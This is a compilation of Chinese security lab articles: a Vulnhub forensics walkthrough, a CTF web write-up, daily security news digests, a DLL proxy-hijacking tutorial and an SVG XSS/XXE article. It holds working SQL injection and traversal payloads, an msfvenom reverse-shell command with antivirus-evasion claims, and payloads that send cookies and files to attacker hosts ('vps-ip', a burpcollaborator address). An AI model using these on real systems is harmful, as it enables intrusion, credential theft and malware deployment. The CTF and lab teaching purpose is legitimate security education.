Vulnhub靶机实战之HA: Forensics
本文涉及知识点实操练习--https://www.yijinglab.com/expc.do?ec=ECIDb885-0a46-4953-8c62-d915348eae0f&pk_campaign=heetian-wemedia(靶机共有5个flag,通过信息收集、找漏洞、提权去获得最终/root下的flag。)
描述:这是一个中等难度的取证挑战环境,通过网络取证调查方法和工具,找到关键证据获取flag。
目标:获得4个flag
靶机下载地址:https://www.vulnhub.com/entry/ha-forensics,570/
0x1 基本信息收集
确定目标主机IP
使用nmap 扫描
排除网络内其他的ip,10.1.1.152就是目标机器
使用nmap扫描主机更加详细的信息
可以把扫描处理的信息记录下来
目标开放的端口:22、80端口,服务有:ssh服务和http服务。
0x2、收集网站信息
浏览目标网站看看可以获取哪些信息
网页上有四张图,还有一些描述文字。点击"Click here to get flag!" 试试
有一张gif图片。可以把网站的图片收集 一下,放到一个文件夹。既然是取证,不要放过任何蛛丝马迹
看看网站源代码里面有什么吧:
我们发现有一个images的目录,访问试试
发现有多张图片,除了网页上显示的几张之外,还有一个"dna.jpg"和"fingerprint.jpg"的图片,同样把它们下载下来。
这个"fingerprint.jpg" 看起来是个暗示,我们看看图片的信息。
直接file查看文件信息,发现exif信息里面存在 flag,这样第一个flag就到手了
别的图片也可以看一下:
好像没啥东西。
我们继续对网站下手,试试扫描网站文件和目录
dirb除了可以扫描目录之外,还可以扫描指定文件后缀的方式来扫描文件,比如我们可以扫描是否存在备份文件之类的,比如.backup、.git、.txt什么的
发现一个txt文件,看看是什么内容
"tips.txt"中记录了两个文件路径,访问看看
igolder目录下有一个文件,我们下载下来,zip文件也下载下来
0x3、文件信息收集
打开"clue.txt"看看
应该是一个PGP密钥,还有一部分PGP加密的消息
再看看zip文件
zip文件似乎被加密了。密码应该是PGP密钥里面。
我们可以拿到在线PGP解密网站上解密一下那串消息。
当我搜索 PGP在线解密的时候出来的就是 igolder这个网站
我们把PGP私钥和消息粘贴进去,解密出来是一个提示:
提示说:取证人员忘记密码了。但是记得是6位数,前三位是"for",后三位是纯数字。
既然这样我们只能暴力猜解了。我们可以先用"crunch"工具生成字典,然后用"fcrackzip"去破解zip文件
解出来密码是"for007",然后解压文件
有两个文件,一个是pdf文件,一个是dmp文件,从名字来看,是windows的lsass进程的内存转储文件。
先打开pdf文件看看
找到第二个flag了。
这里我们可以用mimikatz工具检查dump文件
可以发现有两个用户,一个是jasoos,一个是raj,mimikatz没有直接读取出密码明文,我们可以试试破解NT Hash,用John the Ripper 工具试试
emm,很慢,我们也可以找一个在线网站破解
快多了,一下子就出来了。
0x4、目标主机信息收集
NT hash解密出来了。但是目标机器是一个Linux,开放了22端口。难道就是用的这个密码吗?
试一试吧,为了方便后渗透,这里我们使用msf里面的ssh_login模块
可以看到登录成功了。我们可以用session -u 升级成一个meterpreter会话
我们发现目标主机上有多个网络连接
0x5、横向渗透
我们利用msf后渗透模块的路由添加功能,添加网络路由,然后对目标网络进行扫描
然后探测一下目标主机
发现一台目标机器 172.17.0.2
接着对目标进行一下端口扫描
发现目标开放了21端口。我们可以试试ftp登录
发现可以使用匿名登录,我们试试登录到ftp中。先切换到目标主机的shell中
但是这个shell有点难用,我们可以调用python实现一个友好一点的shell,然后用匿名账号登录到ftp
看看ftp中都有什么文件
里面有一个pub目录,目录中有一个saboot.001的文件,我们把它下载下来
然后把这个文件下载到我们自己的机器上
下载下来后,看一下文件的信息
看起来是一个磁盘镜像文件。我们可以用autospy加载文件进行分析。
0x6、磁盘取证分析
在Kali中找到autospy
打开软件然后加载 saboot.001文件,新建case过程就一一详细说明了
把镜像文件加载进来:
添加完成之后,点分析文件
然后我们发现有一些文件
发现一个flag3.txt打开看看
第三个flag到手
还有一个creds.txt的文件,我们打开看看是什么
看起来像一串被加密的字符串,有点像base64编码的
试试解密
解密出来是“jeenaliisagoodgirl”
然后这个saboot.001就找不到其他有价值的信息了。
当然也可以使用FTK Imager之类的软件加载磁盘镜像也是可以的
0x7、目标主机分析
我们再次回到目标主机,看看目标主机还有什么线索
目前我们得到的目标主机shell是一个普通用户
看看是否还有其他用户
发现一个 forensic用户,进去看看
没有发现什么有价值的线索。
看看root用户下面有什么?
发现没有权限查看。
sudo也不行
试试找找suid程序
发现没有可利用的。
试试切换到forensic用户,尝试用jeenaliisagoodgirl这个密码
发现成功了
试试这个用户是否有sudo权限
发现是可以的。而且可以执行命令的路径有/sbin/ /bin这种。那么就可以直接sudo 查看root目录中的文件了
成功得到第四个flag
至此,四个flag都到手了。成功完成了我们的任务
网络安全日报 2020年11月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、英伟达GeForce NOW中存在高危漏洞
https://threatpost.com/nvidia-windows-gamers-geforce-now-flaw/161132/
2、菲律宾COVID-KAYA应用程序泄露用户数据
https://threatpost.com/covid-19-data-leaked-healthcare-worker-info/161108/
3、Firefox,Chrome修复了在天府杯中被利用的漏洞
https://www.securityweek.com/vulnerabilities-exploited-chinese-hacking-contest-patched-firefox-chrome
4、WD研究人员发现RPMB协议存在漏洞影响多个供应商
https://www.securityweek.com/western-digital-finds-replay-attack-protection-flaw-affecting-multiple-vendors
5、Cobalt Strike 4.0 反编译源代码遭泄露
https://securityaffairs.co/wordpress/110782/hacking/cobalt-strike-source-code.html
6、巴基斯坦航空公司网络的访问权已在暗网上出售
https://www.infosecurity-magazine.com/news/hacker-sells-access-to-pakistani/
7、新的Slipstream NAT旁路攻击将被浏览器阻止
https://www.bleepingcomputer.com/news/security/new-slipstream-nat-bypass-attacks-to-be-blocked-by-browsers/
8、Muhstik僵尸网络增加了WebLogic和Drupal漏洞利用
https://securityaffairs.co/wordpress/110763/uncategorized/muhstik-botnet-weblogic-drupal.html
9、超过2800多家在线商店遭Magento信用卡窃取攻击
https://thehackernews.com/2020/11/over-2800-e-shops-running-outdated.html
10、DDoS攻击正在演变为以勒索为主导的RDoS
https://www.infosecurity-magazine.com/news/edgelive-ddos-rdos/
网络安全管理职业技能竞赛web writeup
本文涉及知识点:https://www.yijinglab.com/pages/CTFLaboratory.jsp
Web
0x01 easy_sql
一开始看到是easysql,那就先上sqlmap跑跑看,跑出了数据库名security以及若干表名
继续跑flag,结果没跑出来,最后还是上手工了。。。
测试输入一个单引号,页面无反应,但是在源码中发现了又报错信息
接着用单引号和括号闭合,报错注入,之后想了一下,为什么页面没有回显呢,原来是因为错误信息居然显示白色,前期被骗了很久,用鼠标描一下即可看到
uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb
uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb
0x02 ezsqli
开局一个输入框
查看hint得到源码
<?php
//a "part" of the source code here
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}
?>
password被过滤了,usename没有过滤,使用联合查询,构造username和password返回admin即可
username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK
0x03 warmup
下载源码开始审计,在index.php中发现了unserialize,估计是考察反序列化的利用了
···
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···
conn.php源码
<?php
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "quot;, "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
可以看到在check_login中,有个flag的输出点,前提是我们需要伪造成admin用户
继续往下看,有个执行SQL语句的地方
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
下面还有个waf,看了一下,发现我们需要构造的万能密码所用到的字符不会被ban
$blacklist = ["union", "join", "!", "\"", "#", "quot;, "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
所以这里我们可以利用SQL注入来变成admin登录,username改为admin,password为万能密码a' or '1'='1,代码如下:
<?php
include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);
得到TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,输入之后获得flag
0x04 ssrfME
访问可以看到有两个输入点,一个可以输入url,一个是验证码
脚本爆破验证码
<?php
for ($i=0; $i < 1000000000; $i++) {
$a = substr(md5($i), -6, 6);
if ($a == "d17b5b") {
echo $i;
break;
}
}
?>
尝试使用file协议读取,发现读取/etc/passwd成功
读取/flag,没成功,尝试读取/var/www/html/index.php,得到源码,原来是有个waf过滤了flag
···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
}
if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}
···
file协议读flag,利用两个url编码flag绕过
url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049
0x05 SecretGuess
题目给了源码,但是不全
在index.html中发现了source,点击可以看到源码
const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.get('/', (req, res) => {
res.render("index")
})
app.post('/', (req, res) => {
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
res.render("index", {result: process.execSync("echo $FLAG")})
} else {
res.render("index", {result: "wrong secret"})
}
})
app.get('/source', (req, res) => {
res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");
在给出dockerfile中,文件内容为
FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js
去搜索相关内容,发现了可能会存在CVE-2017-14849漏洞
输入/static/../../a/../../..//etc/passwd,利用成功
接着去获取secret,/static/../../a/../../../usr/local/app/.env,得到secret=CVE-2017-14849
根据源码中的条件
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )
我们将CVE-2017-14849进行md5加密之后提交即可获得flag,auth=10523ece56c1d399dae057b3ac1ad733
网络安全日报 2020年11月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、微软11月周二补丁日更新解决了110多个漏洞
https://www.securityweek.com/microsoft-patches-windows-vulnerability-chained-attacks-chrome-bug
2、研究人员披露通过监视CPU功耗来获取加密密钥的侧信道攻击
https://www.securityweek.com/platypus-hackers-can-obtain-crypto-keys-monitoring-cpu-power-consumption
3、Adobe修补了Connect,Reader Mobile中的漏洞
https://www.securityweek.com/adobe-patches-vulnerabilities-connect-reader-mobile
4、580万条RedDoorz用户记录在黑客论坛上出售
https://www.bleepingcomputer.com/news/security/58-million-reddoorz-user-records-for-sale-on-hacking-forum/
5、CERT-in向印度公司发出有关Egregor的警告
https://www.ciol.com/cert-in-warns-indian-companies-egregor-sweeps-system-organisations-steals-data/
6、恶意NPM项目窃取浏览器信息和Discord帐户
https://securityaffairs.co/wordpress/110705/hacking/malicious-npm-project-discord-dll.html
7、勒索软件利用虚假的Teams更新来部署Cobalt Strike
https://securityaffairs.co/wordpress/110693/malware/fake-microsoft-teams-cobalt-strike.html
8、卡巴斯基发现名为Ghimob的安卓木马可从112中金融APP中窃取数据
https://securityaffairs.co/wordpress/110671/cyber-crime/ghimob-banking-trojan.html
9、英特尔在周二发布了40条安全公告,涉及多个高危漏洞
https://threatpost.com/intel-update-critical-privilege-escalation-bugs/161087/
10、Ultimate Member插件漏洞影响超过2.5W个WordPress网站
https://securityaffairs.co/wordpress/110717/hacking/wordpress-ultimate-member-flaws.html
网络安全日报 2020年11月10日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、EOL Windows源代码泄露使IOT设备易受攻击
https://unit42.paloaltonetworks.com/windows-xp-server-2003-source-code-leak/
2、攻击者仿冒HMRC的页面对英国公民进行网络诈骗
https://www.bleepingcomputer.com/news/security/hmrc-smishing-tax-scam-targets-uk-banking-customers/
3、酒店预订平台泄露Booking等在线预订网站的用户数据
https://www.hackread.com/hotel-reservation-platform-data-leak-online-booking-sites/
4、电子商务软件平台X-Cart在10月底遭受勒索软件攻击
https://securityaffairs.co/wordpress/110623/malware/x-cart-ransomware-attack.html
5、研究人员发现了Linux版本的RansomEXX勒索软件
https://www.zdnet.com/article/linux-version-of-ransomexx-ransomware-discovered/
6、windows 10,iOS,Chrome等多种产品在天府杯中被攻破
https://thehackernews.com/2020/11/windows-10-ios-chrome-firefox-and.html
7、全球第二笔记本电脑制造商仁宝遭勒索软件攻击
https://securityaffairs.co/wordpress/110638/malware/compal-ransomware-attack.html
8、xHunt黑客利用两个新后门攻击了Microsoft Exchange
https://securityaffairs.co/wordpress/110644/apt/xhunt-attackers-hit-microsoft-exchange.html
9、WordPress插件Welcart存在注入漏洞
https://threatpost.com/wordpress_open_to_attacks_welcart_bug/161037
10、Zoom Snooping - 通过视频会议时对方的肩膀移动来侧信道猜测密码
https://sec.today/pulses/c54980db-66c9-4f29-a923-509a8bbcb288/
网络安全日报 2020年11月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、勒索软件运营商可能利用最新WebLogic漏洞
https://www.securityweek.com/recent-weblogic-vulnerability-likely-exploited-ransomware-operators
2、朝鲜黑客利用Torisma间谍软件进行攻击
https://thehackernews.com/2020/11/north-korean-hackers-used-torisma.html
3、英国房产商Flagship遭受勒索软件攻击
https://www.theregister.com/2020/11/06/revil_sodinokibi_ransomware_gang_flagship_group_housing/
4、巴西高等司法法院遭受大规模勒索软件攻击
https://www.hackread.com/ransomware-attack-brazil-top-court-encrypts-backups/
5、黑客正积极利用Oracle的RCE漏洞部署Cobalt Strike
https://www.bleepingcomputer.com/news/security/critical-bug-actively-used-to-deploy-cobalt-strike-on-oracle-servers/
6、7500个组织的网络访问权限在多个黑客论坛上出售
https://cybernews.com/security/7500-educational-organizations-hacked-access-being-sold-on-russian-hacker-forums/
7、NETGEAR路由器和WD NAS设备在 Tokyo 2020上被攻破
https://www.securityweek.com/netgear-router-wd-nas-device-hacked-first-day-pwn2own-tokyo-2020
8、与丝绸之路相关的价值10亿美元的比特币被没收
https://www.securityweek.com/us-seizes-1-billion-worth-bitcoin-connected-silk-road
9、勒索软件运营商要求Capcom支付1100万美元
https://www.securityweek.com/hackers-demand-11-million-capcom-after-ransomware-attack
10、Gitpaste-12蠕虫针对Linux服务器和IoT设备
https://threatpost.com/gitpaste-12-worm-linux-servers-iot-devices/161016/
DLL代理转发与维权、提权
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014051614203800001&pk_campaign=heetian-wemedia(通过本实验的学习掌握特征码免杀技术。)
最近看了一些免杀,这一篇小白文章,大佬绕过。知识按照自己的知识整理和写出来的。
DLL劫持
再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。但不是所有的dll都会被写入这个注册表,因此就会产生DLL劫持。
使用msfvenom生成的dll直接秒杀。
SharpDllProxy
听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.
前言
先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:
实验过程
目标程序
花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:
那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。
生成shellcode
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
实验开始
首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。
直接使用 vs 打开 文件下的SharpDllProxy --》 生成解决方案
使用SharpDllProxy.dll生成一个假冒的libnettle-8.dll。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。
来分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。
到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。这里是按照二进制的方式读入然后使用VirtualAlloc内存操作执行shellcode。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。
使用 VS 编译上面的C文件。文件---》新建---》项目---》动态链接库--》项目名为 libnettle-8。复制上面的C文件代码到VS中编译
将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。
使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。
浅谈SVG的两个黑魔法
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78&pk_campaign=heetian-wemedia(XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意的外部文件,可以造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、DoS攻击等危害。通过本课程的学习,你将掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法。)
前言
之前在CTF比赛中遇到了一些关于SVG造成的安全问题,多亏诸多师傅的题目给我的一顿痛打让我又了解了不少新的知识和SVG在WEB安全中的应用,拓展了我的攻击面。
SVG简介
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
SVG造成XSS
直奔主题
我们在一张SVG图片里面插入一个JavaScript代码。
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
我们用浏览器打开它会发现它会造成XSS。
刨根问底
为什么这样的SVG图片会造成跨站脚本问题呢?这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。
可以看到在国际的SVG标准中定义了script标签的存在,总之XSS之所以能够执行是因为遵循了svg及xml的标准。
那么假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题。
CTF中的应用场景
XSSME
题目地址:https://xssrf.hackme.inndy.tw/
本题是给admin发一封邮件,然后admin会查看你发送的邮件,很明显的xss盗取管理员cookie,但是这里经过fuzz发现过滤了如下字符:
<script
)
onmouseover
空格onload
空格onerror
<iframe
我们这里可以考虑用SVG标签来进行XSS,比如:
<svg/onload=alert(1)>
这里我们可以发送到VPS测试一下是否有效
<svg/onload="document.location='http://vps-ip:1234'">
vps成功接收到信息
然后再获取cookie即可
<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">
Teaser Confidence CTF 2019:Web 50
本题是一道比较经典的利用svg去构造xss的题目,但是由于题目并没有开源,所以没办法复现,这里主要学习他的思路。
根据题目描述,有两个功能,一个是报告BUG,一个是修改个人信息,然后管理员会查看该域名下的某处页面,这里主要是通过xss获取admin页面Secret表单的值来获取flag。
在个人资料页面中,我们可以将头像上传到服务器,服务器将检查此文件是否为有效图像,并且大小必须为100x100。我们如果将有效的PNG图片重命名为1.html,然后上传。但是,HTTP内容类型仍为image/png,那么这里有个问题就是如果内容类型为image/png,则将此链接发送给admin不会触发XSS有效负载。
所以这里就可以使用svg作为媒介来构造xss,去获取secret的值,这里直接贴一下payload
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve">
...
<g>
<polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://xxxx.burpcollaborator.net/");
xhr2.send(xhr.responseText);
}
}
xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
xhr.withCredentials = true;
xhr.send();
</script>
</g>
...
</svg>
这里使用了burpcollaborator来外带数据,Burp Suite在1.7之后的版本自带了这个功能,获取burpcollaborator的地址如图所示:
最后在Reportbug处提交图片即可获得flag,这里借用一下郁离歌师傅的图。
SVG造成XXE
前面说了SVG是基于XML的矢量图,因此可以支持Entity(实体)功能,因此可以用来XXE。
CTF中的应用场景
这里从两道经典的CTF题目来学习如何XXE并且结合SVG,这里分为有回显和无回显两种情况。
有回显的情况
svgmagic(BsidesSF CTF 2019)
github题目源码:传送门
buu平台也有上这道题目
打开页面
打开页面就提示Convert SVG to PNG with Magic
这里我们首先想到的思路就是文件上传那些步骤,一句话木马以及.htaccess等等,但是多次上传利用无果,因为会报一个500的错误,这里的话可以利用SVG配合XXE去读取他的一个文件。
我们直接读取/etc/passwd试一下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
我们把上面这段代码保存为1.svg,并上传。
可以发现成功回显了带有/etc/passwd内容的图片,但是图像太小,无法容纳所有内容,这里我们可以调整他的width宽度,调大一点就可以看到所有的内容了。
还有个问题就是我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/pwd/flag.txt读取文件。
最后payload如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
我们保存为2.svg上传,发现成功读取到flag。
无回显的情况
在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:
先在本地PHPStudy写入无回显处理XML的代码
xml.php
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
然后在自己的VPS上放置
xml.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
这里有几个需要注意的点:
ip换成自己的vps的ip
这里的%会被xml解析成%,如果直接用%的话我本地会报错。
注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。
最后我们POST提交的payload
<?xml version="1.0"?>
<!DOCTYPE Note [
<!ENTITY % remote SYSTEM "http://ip/xml.dtd">
%remote;
%start;
%send;
]>
这里的ip同样换成自己的vps的ip
下一步在VPS上开启监听1234端口
nc -lvp 1234
然后我们抓xml.php的POST包并发送payload
可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。
我们来梳理一下他的整个调用过程
1.首先我们payload中的% remote去获取vps上的xml.dtd
2.然后xml.dtd中的% start去调用% file
3.% file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
4.最后通过% send将数据发送到vps监听的1234端口上5.
这就是XXE实现外带数据的整个流程,那么这个如何结合SVG呢,这里通过一道我之前打比赛的一道题为例子:
svgggggg!(DozerCTF2020)
这道题当时比赛的时候没有做出来,因为当时水平有限,并没有想到svg也是xml格式,可以用来XXE,这道题确实质量可以,学到了很多新的姿势,下面给出我复现的过程。
题目给的两个hint:
▲ 用户r1ck的操作记录在哪儿来着
▲ 如果你发现了sql注入,直接getshell吧,flag在/app目录里
复现过程如下:
打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片,如果请求的文件不是svg的话就会返回Unauthorized type!
我们先写一个简单的SVG图片源码放在vps上,保存为1.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file "HELLO">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&file;</text>
</svg>
提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file SYSTEM "file:///home/r1ck/.bash_history">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&files;</text>
</svg>
页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。
构造1.svg
